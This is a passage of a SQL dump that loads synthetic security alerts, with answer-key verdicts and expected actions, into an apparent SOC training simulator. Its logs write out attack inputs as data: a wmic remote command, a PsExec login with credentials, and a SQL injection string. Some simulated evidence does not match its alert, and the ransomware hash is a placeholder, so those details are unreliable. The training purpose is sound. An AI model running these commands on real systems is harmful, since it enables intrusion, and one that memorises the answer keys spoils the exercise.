2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:04:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"attacker\\\",\\\"hostname\\\":\\\"management-console\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"wmic /node:192.168.1.45 process call create \\\\\\\"cmd.exe /c calc.exe\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.830Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:04:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"attacker\\\",\\\"hostname\\\":\\\"management-console\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"wmic /node:192.168.1.45 process call create \\\\\\\"cmd.exe /c calc.exe\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.830Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:04:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"dst_ip\\\":\\\"192.168.1.45\\\",\\\"username\\\":\\\"attacker\\\",\\\"hostname\\\":\\\"management-console\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"wmic /node:192.168.1.45 process call create \\\\\\\"cmd.exe /c calc.exe\\\\\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1633, 'Suspicious Certutil Activity - False Positive', 'medium', 'FTK', 'Certutil.exe was used to check the hash of a file. Routine activity but flagged due to previous misuse in attacks.', 'Suspicious Activity', 'T1140', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T16:02:20Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.70\",\"dst_ip\":\"\",\"username\":\"it_support\",\"hostname\":\"support-pc\",\"request_body\":\"\",\"command_line\":\"certutil.exe -hashfile C:\\\\example.doc SHA256\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"certutil.exe -hashfile C:\\\\example.doc SHA256\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used for legitimate file integrity checks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.70\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of an IT support machine.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\",\"analysis_notes\":\"Certutil was used for a legitimate purpose, as part of routine IT operations.\"}', 'Advanced', 'IR', 7, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:02:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -hashfile C:\\\\\\\\example.doc SHA256\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:02:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -hashfile C:\\\\\\\\example.doc SHA256\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:02:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -hashfile C:\\\\\\\\example.doc SHA256\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:02:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -hashfile C:\\\\\\\\example.doc SHA256\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.831Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:02:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"certutil.exe -hashfile C:\\\\\\\\example.doc SHA256\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1634, 'Malicious Web Request with SQL Injection Payload', 'critical', 'Firewall', 'A web request containing a SQL injection payload was detected targeting the finance application server.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:18:39Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.14\",\"dst_ip\":\"192.168.1.55\",\"username\":\"\",\"hostname\":\"finance-app\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"command_line\":\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.14\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple web application attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server hosting finance application.\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload is a classic SQL injection attempt, indicative of an attack on the web application.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1635, 'Encoded PowerShell Command Execution - False Positive', 'medium', 'Velociraptor', 'PowerShell executed an encoded command. Upon further inspection, it was a scheduled maintenance script.', 'Suspicious Activity', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:55:17Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.80\",\"dst_ip\":\"\",\"username\":\"maintenance_user\",\"hostname\":\"maintenance-server\",\"request_body\":\"\",\"command_line\":\"powershell.exe -enc JAB1AHAAZABhAHQAZQAtAGYAbwBsAGQAZQBy\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -enc JAB1AHAAZABhAHQAZQAtAGYAbwBsAGQAZQBy\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command used in scheduled maintenance scripts.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.80\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server IP used for maintenance tasks.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\",\"analysis_notes\":\"The encoded PowerShell command is part of a legitimate scheduled task, not malicious activity.\"}', 'Advanced', 'IR', 7, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:55:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB1AHAAZABhAHQAZQAtAGYAbwBsAGQAZQBy\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:55:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB1AHAAZABhAHQAZQAtAGYAbwBsAGQAZQBy\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:55:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB1AHAAZABhAHQAZQAtAGYAbwBsAGQAZQBy\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:55:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB1AHAAZABhAHQAZQAtAGYAbwBsAGQAZQBy\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.834Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:55:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.80\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB1AHAAZABhAHQAZQAtAGYAbwBsAGQAZQBy\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1636, 'Possible Lateral Movement via PsExec', 'high', 'Velociraptor', 'PsExec was executed from an internal system to another, possibly indicating lateral movement.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:30:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.75\",\"dst_ip\":\"192.168.1.85\",\"username\":\"attacker_user\",\"hostname\":\"attacker-pc\",\"request_body\":\"\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.85 -u admin -p password cmd.exe\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.85 -u admin -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"PsExec used in lateral movement attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the initiating system.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.85\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the target system.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PsExec to run commands on another machine is indicative of lateral movement within the network.\"}', 'Advanced', 'IR', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.837Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:30:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"192.168.1.85\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"hostname\\\":\\\"attacker-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.85 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.837Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:30:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"192.168.1.85\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"hostname\\\":\\\"attacker-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.85 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.837Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:30:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"192.168.1.85\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"hostname\\\":\\\"attacker-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.85 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.837Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:30:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"192.168.1.85\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"hostname\\\":\\\"attacker-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.85 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.837Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:30:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"192.168.1.85\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"hostname\\\":\\\"attacker-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.85 -u admin -p password cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1637, 'False Positive: Automated Backup Process Triggered', 'low', 'Wazuh', 'An automated backup process was detected, which involves transferring large volumes of data to a remote storage server.', 'Data Exfil', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T17:24:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"203.0.113.200\",\"username\":\"backup_user\",\"hostname\":\"backup-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Trusted remote storage IP for backups.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal backup server IP.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The data transfer is part of a scheduled backup process, not unauthorized exfiltration.\"}', 'Advanced', 'IR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.839Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:24:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.839Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:24:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.839Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:24:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.839Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:24:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.839Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:24:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1638, 'Ransomware File Encryption Detected', 'critical', 'KAPE', 'A large number of files were encrypted on the server, with extensions changed to .lockbit. This is indicative of a ransomware attack.', 'Malware', 'T1486', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:50:18Z\",\"event_type\":\"file_modification\",\"src_ip\":\"192.168.1.95\",\"dst_ip\":\"\",\"username\":\"compromised_user\",\"hostname\":\"file-server\",\"request_body\":\"\",\"command_line\":\"\",\"file_hash\":\"abcd1234efgh5678ijkl\",\"file_extension\":\".lockbit\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"abcd1234efgh5678ijkl\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with LockBit ransomware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.95\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised file server.\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file encryption and use of the .lockbit extension confirm the presence of ransomware.\"}', 'Advanced', 'IR', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.841Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:50:18Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"src_ip\\\":\\\"192.168.1.95\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"file-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"file_hash\\\":\\\"abcd1234efgh5678ijkl\\\",\\\"file_extension\\\":\\\".lockbit\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.841Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:50:18Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"src_ip\\\":\\\"192.168.1.95\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"file-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"file_hash\\\":\\\"abcd1234efgh5678ijkl\\\",\\\"file_extension\\\":\\\".lockbit\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.841Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:50:18Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"src_ip\\\":\\\"192.168.1.95\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"file-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"file_hash\\\":\\\"abcd1234efgh5678ijkl\\\",\\\"file_extension\\\":\\\".lockbit\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.841Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:50:18Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"src_ip\\\":\\\"192.168.1.95\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"file-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"file_hash\\\":\\\"abcd1234efgh5678ijkl\\\",\\\"file_extension\\\":\\\".lockbit\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.841Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:50:18Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"src_ip\\\":\\\"192.168.1.95\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"file-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"file_hash\\\":\\\"abcd1234efgh5678ijkl\\\",\\\"file_extension\\\":\\\".lockbit\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
